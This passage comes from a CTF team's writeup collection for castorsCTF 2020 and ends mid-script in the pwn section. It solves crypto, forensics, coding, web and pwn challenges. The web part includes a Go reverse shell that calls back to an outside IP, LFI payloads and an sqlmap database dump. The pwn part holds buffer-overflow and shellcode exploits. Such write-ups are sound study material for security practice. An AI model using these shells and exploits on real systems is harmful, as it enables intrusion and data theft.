for k, v in cands.iteritems(): 349 | all_cands[i][k] = all_cands[i].get(k,0) + v 350 | 351 | key = "" 352 | 353 | for cand in all_cands: 354 | sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) 355 | print(sorted_cands[:3]) 356 | key += sorted_cands[0][0] 357 | 358 | print(key) 359 | ``` 360 | 361 | Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. -------------------------------------------------------------------------------- /2019/squarectf/inwasmble-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bootplug/writeups/83c19e2e99b61572f06098d81378e3dabdcd61fd/2019/squarectf/inwasmble-1.png -------------------------------------------------------------------------------- /2019/squarectf/inwasmble-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bootplug/writeups/83c19e2e99b61572f06098d81378e3dabdcd61fd/2019/squarectf/inwasmble-2.png -------------------------------------------------------------------------------- /2019/squarectf/inwasmble-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bootplug/writeups/83c19e2e99b61572f06098d81378e3dabdcd61fd/2019/squarectf/inwasmble-3.png -------------------------------------------------------------------------------- /2019/squarectf/lockbox-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bootplug/writeups/83c19e2e99b61572f06098d81378e3dabdcd61fd/2019/squarectf/lockbox-1.png -------------------------------------------------------------------------------- /2020/cybercastors/README.md: -------------------------------------------------------------------------------- 1 | # castorsCTF20 2 | 3 | Fri, 29 May 2020, 22:00 CEST — Sun, 31 May 2020, 22:00 CEST 4 | 5 | https://ctftime.org/event/1063 6 | 7 | We placed **2nd**! :) 8 | -------------------------------------------------------------------------------- /2020/cybercastors/writeups.md: -------------------------------------------------------------------------------- 1 | # Cybercastors writeups for team bootplug 2 | 3 | # Misc 4 | ## Password crack 3 5 | ``` 6 | 7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12 7 | 8 | This one needs to be in the flag format first... 9 | ``` 10 | 11 | The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution: 12 | `7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}` 13 | ## Pitfall 14 | ``` 15 | sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out? 16 | ``` 17 | 18 | ``` 19 | $ dig -t TXT cybercastors.com 20 | 21 | ; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com 22 | ... 23 | ;; ANSWER SECTION: 24 | cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all" 25 | cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}" 26 | ``` 27 | ## To plant a seed 28 | ``` 29 | Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow! 30 | ``` 31 | A file with the following sequence was provided: 32 | ``` 33 | Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179 34 | ``` 35 | 36 | Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`. 37 | 38 | ```python 39 | import random 40 | random.seed(1590782400) 41 | 42 | nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179] 43 | 44 | print(''.join(chr(e ^ random.randint(0,255)) for e in nums)) 45 | # castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds} 46 | ``` 47 | 48 | # Coding 49 | ## Arithmetics 50 | ```python 51 | from pwn import * 52 | 53 | r = remote("chals20.cybercastors.com", 14429) 54 | r.sendlineafter("ready.\n", "") 55 | 56 | lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"} 57 | 58 | 59 | for count in range(100): 60 | q = r.recvline() 61 | print(count, q) 62 | _, _, a, op, b, _ = q.split(" ") 63 | if a in lookup: 64 | a = lookup[a] 65 | if b in lookup: 66 | b = lookup[b] 67 | if op in lookup: 68 | op = lookup[op] 69 | 70 | 71 | r.sendline(str(eval(a+op+b))) 72 | print r.recvline() 73 | count += 1 74 | 75 | r.interactive() 76 | ``` 77 | ## Base Runner 78 | 79 | Saw that it was binary -> octal -> hex -> base64. 80 | Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag 81 | ```python 82 | from pwn import * 83 | from base64 import b64decode 84 | 85 | r = remote("chals20.cybercastors.com",14430) 86 | 87 | r.recvuntil("ready.") 88 | r.sendline("\n") 89 | r.recvline() 90 | 91 | for i in range(50): 92 | r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) 93 | print(r.recvline()) 94 | 95 | r.interactive() 96 | ``` 97 | ## Flag Gods 98 | The service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result. 99 | 100 | ```python 101 | from pwn import * 102 | from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l 103 | 104 | r = remote("chals20.cybercastors.com", 14431) 105 | r.sendline("") 106 | 107 | for iteration in range(80): 108 | _ = r.recvuntil("Transmitted message: ") 109 | m1 = r.recvline().rstrip() 110 | _ = r.recvuntil("Received message: ") 111 | m2 = r.recvline().rstrip().decode('hex') 112 | hamming = bin(b2l(xor(m1,m2))).count("1") 113 | r.sendline(str(hamming)) 114 | 115 | if iteration == 79: 116 | break 117 | 118 | print iteration 119 | print r.recvline() 120 | print r.recvline() 121 | 122 | r.interactive() 123 | ``` 124 | ## Glitchity Glitch 125 | After randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag. 126 | 127 | ```python 128 | from pwn import * 129 | 130 | context.log_level = "debug" 131 | 132 | r = remote("chals20.cybercastors.com", 14432) 133 | 134 | r.sendlineafter("Choice: ","1") 135 | r.sendlineafter("Choice: ","2") 136 | r.sendlineafter("Choice: ","3") 137 | r.sendlineafter("Choice: ","6") 138 | 139 | for _ in range(6000//20): 140 | r.sendlineafter("Choice: ", "0") 141 | r.sendlineafter("Choice: ", "1") 142 | 143 | r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?} 144 | 145 | r.interactive() 146 | ``` 147 | 148 | # Forensics 149 | 150 | ## Leftovers 151 | This is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets. 152 | 153 | `tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt` 154 | 155 | Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length). 156 | 157 | After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with 158 | 159 | `what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}` 160 | 161 | and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`. 162 | 163 | ## Manipulation 164 | The challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one. 165 | 166 | ## Father Taurus Kernel Import! 167 | Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents 168 | `Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`. 169 | 170 | # General 171 | 172 | # Web 173 | 174 | ## Bane Art 175 | This challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with 176 | `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=` 177 | and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at 178 | `/home/falg/flag/test/why/the/hassle/right/flag.txt`. 179 | 180 | Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt` 181 | 182 | `castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}` 183 | 184 | ## Shortcuts 185 | Saw you could upload your own shortcuts, however if you uploaded `` and clicked it, the webapp tried to `go run .go`. 186 | I circumvented this by just uploading `` and `.go` to the shortcuts app with the same content, then clicking the `` link. 187 | 188 | the go code I uploaded was some sample rev-shell code from pentestmonkey. 189 | ```go 190 | package main 191 | 192 | import ( 193 | "net" 194 | "os/exec" 195 | "time" 196 | ) 197 | 198 | func main() { 199 | reverse("167.99.202.x:8080") 200 | } 201 | 202 | func reverse(host string) { 203 | c, err := net.Dial("tcp", host) 204 | if nil != err { 205 | if nil != c { 206 | c.Close() 207 | } 208 | time.Sleep(time.Minute) 209 | reverse(host) 210 | } 211 | 212 | cmd := exec.Command("/bin/sh") 213 | cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c 214 | cmd.Run() 215 | c.Close() 216 | reverse(host) 217 | } 218 | ``` 219 | 220 | After that I found the flag in /home/tom/flag.txt 221 | 222 | ## Quiz 223 | Saw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting. 224 | 225 | After some directory brute forcing we found /backup/, giving us the soruce code. 226 | 227 | ### Function & routes 228 | ```go 229 | mux := httprouter.New() 230 | 231 | mux.GET("/", index) 232 | mux.GET("/test/:directory/:theme/:whynot", super) 233 | mux.GET("/problems/math", math) 234 | mux.POST("/problems/math", mathCheck) 235 | 236 | //Remember to Delete 237 | mux.GET("/backup/", backup) 238 | ``` 239 | ```go 240 | func super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { 241 | fmt.Println(ps.ByName("whynot")) 242 | var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") 243 | test, err := os.Open(file) 244 | handleError(w, err) 245 | defer test.Close() 246 | 247 | scanner := bufio.NewScanner(test) 248 | var content string 249 | for scanner.Scan() { 250 | content = scanner.Text() 251 | } 252 | 253 | fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) 254 | fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) 255 | fmt.Fprintf(w, "Contents: %s\n", content) 256 | } 257 | ``` 258 | After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view. 259 | 260 | We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff. 261 | 262 | ```bash 263 | curl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o - 264 | Directories: home/jeff 265 | File: flag.txt 266 | Contents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y} 267 | ``` 268 | 269 | ## Car Lottery 270 | We're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this. 271 | 272 | `python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all` 273 | 274 | Inspecting the data, there's a table called `Users` with the following contents: 275 | 276 | ``` 277 | Username,Password 278 | admin@cybercastors.com,cf9ee5bcb36b4936dd7064ee9b2f139e 279 | admin@powerpuffgirls.com,fe87c92e83ff6523d677b7fd36c3252d 280 | jeff@homeaddress.com,d1833805515fc34b46c2b9de553f599d 281 | moreusers@leakingdata.com,77004ea213d5fc71acf74a8c9c6795fb 282 | ``` 283 | 284 | Which are easily cracked 285 | 286 | ``` 287 | cf9ee5bcb36b4936dd7064ee9b2f139e:naruto 288 | fe87c92e83ff6523d677b7fd36c3252d:powerpuff 289 | d1833805515fc34b46c2b9de553f599d:pancakes 290 | 77004ea213d5fc71acf74a8c9c6795fb:fun 291 | ``` 292 | 293 | Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag. 294 | 295 | `castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}` 296 | ## Mixed Feelings 297 | Found some commented out "php" code. 298 | 299 | ```php 300 | if(isset($file)) { 301 | if ($user == falling_down_a_rabit_hole) { 302 | exit()? 303 | } 304 | else { 305 | go to .flagkindsir 306 | } 307 | } 308 | ``` 309 | 310 | http://web1.cybercastors.com:14439/.flagkindsir 311 | 312 | Found this link 313 | 314 | When we click the buttons it posts cookies=cookies or puppies=puppies. 315 | 316 | So we tried flags=flags, then on a whim cookies=flag, and it worked. 317 | 318 | ```bash 319 | curl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag" 320 | ``` 321 | 322 | 323 | # Crypto 324 | ## One Trick Pony 325 | just OTP where the flag is the key. so just input some known plaintext and get encrypted text. 326 | ```bash 327 | ➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422 328 | 329 | > b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13' 330 | ``` 331 | Then XOR the encrypted text with the known plaintext. 332 | ```python 333 | >>> from pwn import xor 334 | >>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13') 335 | b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0' 336 | ``` 337 | 338 | ## Magic School Bus 339 | Here we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag. 340 | 341 | ```python 342 | from pwn import * 343 | 344 | lookup = [] 345 | flag_len = 46 346 | 347 | r = remote("chals20.cybercastors.com", 14421) 348 | 349 | for i in range(flag_len): 350 | s = list("A"*flag_len) 351 | s[i] = "B" 352 | s = ''.join(s) 353 | r.sendline("1") 354 | _ = r.recv() 355 | r.sendlineafter("Who's riding the bus?: ", s) 356 | resp = r.recvline().strip().split()[2] 357 | lookup.append(resp.index("B")) 358 | 359 | # lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45] 360 | 361 | assert sorted(lookup) == range(flag_len) 362 | 363 | r.sendline("2") 364 | r.recvuntil("Flag bus seating: ") 365 | flag = r.recvline() 366 | print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5 367 | 368 | final_flag = [None] * flag_len 369 | for i in range(flag_len): 370 | final_flag[i] = flag[lookup[i]] 371 | 372 | print(''.join(final_flag)) 373 | ``` 374 | 375 | Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}` 376 | 377 | ## Warmup 378 | Simple math, using the formulas 379 | `a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2` 380 | we end up with an equation for q and p alone, e.g. 381 | `2*q^2 = (c^2)/2 - A/2` 382 | 383 | However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag. 384 | 385 | ```python 386 | p = gmpy2.iroot(((c) // 4) - A, 2)[0] 387 | q = gmpy2.iroot(((c) // 4) + A, 2)[0] 388 | d = gmpy2.invert(e, (p-1)*(q-1)) 389 | m = pow(enc, d, p*q) 390 | # castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s} 391 | ``` 392 | 393 | ## Two Paths 394 | Inside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths. 395 | 396 | The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered. 397 | 398 | ``` 399 | congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy! 400 | ``` 401 | 402 | This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this. 403 | 404 | `castorsCTF{sancocho_flag_qjzmlpg}` 405 | 406 | ## Bagel Bytes 407 | We solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved. 408 | 409 | In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered. 410 | 411 | To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block. 412 | 413 | ```python 414 | from pwn import * 415 | from string import printable 416 | 417 | ALPHA = printable.strip() 418 | ALPHA = ALPHA 419 | r = remote("chals20.cybercastors.com", 14420) 420 | 421 | def bake(s): 422 | r.sendlineafter("Your choice: ", "1") 423 | r.sendlineafter("> ", s) 424 | _ = r.recvline() 425 | _ = r.recvline() 426 | return r.recvline().strip() 427 | 428 | def bakeflag(s): 429 | r.sendlineafter("Your choice: ", "2") 430 | r.sendlineafter("> ", s) 431 | _ = r.recvline() 432 | _ = r.recvline() 433 | return r.recvline().strip() 434 | 435 | 436 | flag = "" 437 | for i in range(16): 438 | target = bakeflag("A"*(15-i))[:32] 439 | 440 | print("Target", target) 441 | 442 | for c in ALPHA: 443 | h = bake((flag + c).rjust(16, "A")) 444 | print("h", c, h) 445 | if target == h: 446 | flag += c 447 | print(flag) 448 | break 449 | else: 450 | assert False 451 | 452 | # flag = "castorsCTF{I_L1k" 453 | ``` 454 | 455 | Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`. 456 | 457 | ## Jigglypuff's song 458 | Instead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}` 459 | ## Amazon 460 | Each letter of the flag has been multiplied with a prime number, in increasing order. 461 | 462 | ```python 463 | import gmpy2 464 | nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625] 465 | 466 | flag = "" 467 | p=2 468 | 469 | for num in nums: 470 | flag += chr(num // p) 471 | p = gmpy2.next_prime(p) 472 | 473 | print(flag) 474 | ``` 475 | ## 0x101 Dalmatians 476 | A continuation of Amazon, the change here is that the result is taken modulo 0x101 477 | ```python 478 | import gmpy2 479 | 480 | nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56] 481 | 482 | flag = "" 483 | p=2 484 | 485 | for num in nums: 486 | for i in range(256): 487 | if (p*i) % 0x101 == num: 488 | flag += chr(i) 489 | break 490 | p = gmpy2.next_prime(p) 491 | 492 | print(flag) 493 | ``` 494 | ## Stalk Market 495 | To obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round. 496 | 497 | The hashing algorithm does the following: 498 | 499 | - Set initial state to a constant 500 | - Pad input and split into chunks of 16 bytes 501 | - For each chunk, do 8 rounds of: 502 | -- XOR state with the chunk 503 | -- Perform sbox lookup for each byte in the state 504 | -- Permute all state bytes according to a pbox. 505 | 506 | The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes. 507 | 508 | A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess. 509 | 510 | ```python 511 | from pwn import * 512 | 513 | def pad(s): 514 | if len(s) % 16 == 0: 515 | return s 516 | else: 517 | pad_b = 16 - len(s) % 16 518 | return s + bytes([pad_b]) * pad_b 519 | 520 | def repeated_xor(p, k): 521 | return bytearray([p[i] ^ k[i] for i in range(len(p))]) 522 | 523 | def group(s): 524 | return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)] 525 | 526 | sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249] 527 | p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12] 528 | round = 8 529 | 530 | inv_s = [sbox.index(i) for i in range(len(sbox))] 531 | inv_p = [p.index(i) for i in range(len(p))] 532 | 533 | DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"] 534 | 535 | def reverse_state(s, guess): 536 | state = bytes.fromhex(s) 537 | for _ in range(round): 538 | temp = bytearray(16) 539 | for i in range(len(state)): 540 | temp[inv_p[i]] = state[i] 541 | state = temp 542 | 543 | for i in range(len(state)): 544 | state[i] = inv_s[state[i]] 545 | 546 | state = repeated_xor(state, guess) 547 | return state.hex() 548 | 549 | def hash(data, init): 550 | state = bytes.fromhex(init) 551 | data = group(pad(data)) 552 | for roundkey in data: 553 | for _ in range(round): 554 | state = repeated_xor(state, roundkey) 555 | for i in range(len(state)): 556 | state[i] = sbox[state[i]] 557 | temp = bytearray(16) 558 | for i in range(len(state)): 559 | temp[p[i]] = state[i] 560 | state = temp 561 | return state.hex() 562 | 563 | r = remote("chals20.cybercastors.com", 14423) 564 | 565 | for _ in range(20): 566 | _ = r.recvuntil("Price commitments for the week: ") 567 | hashes = [e.decode() for e in r.recvline().rstrip().split()] 568 | _ = r.recvuntil("Monday AM Price: ") 569 | monam_price = r.recvline().strip().decode() 570 | guess = pad(f"mon-am-{monam_price}".encode()) 571 | init = reverse_state(hashes[0], guess) 572 | 573 | best_price = int(monam_price) 574 | best_time = "mon-am" 575 | 576 | for ix, time in enumerate(DAYTIMES): 577 | for price in range(20, 601): 578 | guess = pad(f"{time}-{price}".encode()) 579 | h = hash(guess, init) 580 | if h == hashes[ix+1]: 581 | print(time, price) 582 | if price > best_price: 583 | best_price = price 584 | best_time = time 585 | break 586 | else: 587 | assert False 588 | 589 | r.sendline(best_time) 590 | 591 | r.interactive() 592 | ``` 593 | 594 | `Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}` 595 | 596 | 597 | # PWN 598 | 599 | ## abcbof 600 | Very simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested. 601 | 602 | 603 | ## babybof1 part 1 604 | ROP to the `get_flag` function. 605 | ```python 606 | from pwn import * 607 | import time 608 | 609 | context.arch = "x86_64" 610 | 611 | elf = ELF("babybof") 612 | r = remote("chals20.cybercastors.com", 14425) 613 | 614 | payload = "A"*264 615 | payload += p64(elf.symbols["get_flag"]) 616 | r.sendline(payload) 617 | r.shutdown("send") 618 | r.interactive() 619 | ``` 620 | Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}` 621 | 622 | ## babybof1 pt2 623 | Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode. 624 | 625 | *Replaces the payload in pt 1* 626 | 627 | ```python 628 | JMP_RAX = 0x0000000000400661 629 | payload = asm(shellcraft.sh()).ljust(264, "\x90") 630 | payload += p64(JMP_RAX) 631 | r.sendline(payload) 632 | r.interactive() 633 | ``` 634 | When we have a shell we can cat the `shell_flag.txt` 635 | ```console 636 | Welcome to the cybercastors Babybof 637 | Say your name: sh: 0: can't access tty; job control turned off 638 | $ ls 639 | babybof flag.txt shell_flag.txt 640 | $ cat shell_flag.txt 641 | castorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11} 642 | ``` 643 | 644 | ## Babybof2 645 | We get a binary file called`winner` and a service to connect to. 646 | When running the program it asks for which floor the winners table is at. 647 | After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag. 648 | 649 | ```python 650 | #!/usr/bin/env python3 651 | from pwn import * 652 | 653 | exe = context.binary = ELF('winners') 654 | host = args.HOST or 'chals20.cybercastors.com' 655 | port = int(args.PORT or 14434) 656 | 657 | def local(argv=[], *a, **kw): 658 | '''Execute the target binary locally''' 659 | if args.GDB: 660 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 661 | else: 662 | return process([exe.path] + argv, *a, **kw) 663 | 664 | def remote(argv=[], *a, **kw): 665 | '''Connect to the process on the remote host''' 666 | io = connect(host, port) 667 | if args.GDB: 668 | gdb.attach(io, gdbscript=gdbscript) 669 | return io 670 | 671 | def start(argv=[], *a, **kw): 672 | '''Start the exploit against the target.''' 673 | if args.LOCAL: 674 | return local(argv, *a, **kw) 675 | else: 676 | return remote(argv, *a, **kw) 677 | 678 | gdbscript = ''' 679 | tbreak main 680 | continue 681 | '''.format(**locals()) 682 | 683 | # -- Exploit --- # 684 | io = start() 685 | 686 | winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel function 687 | p = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can 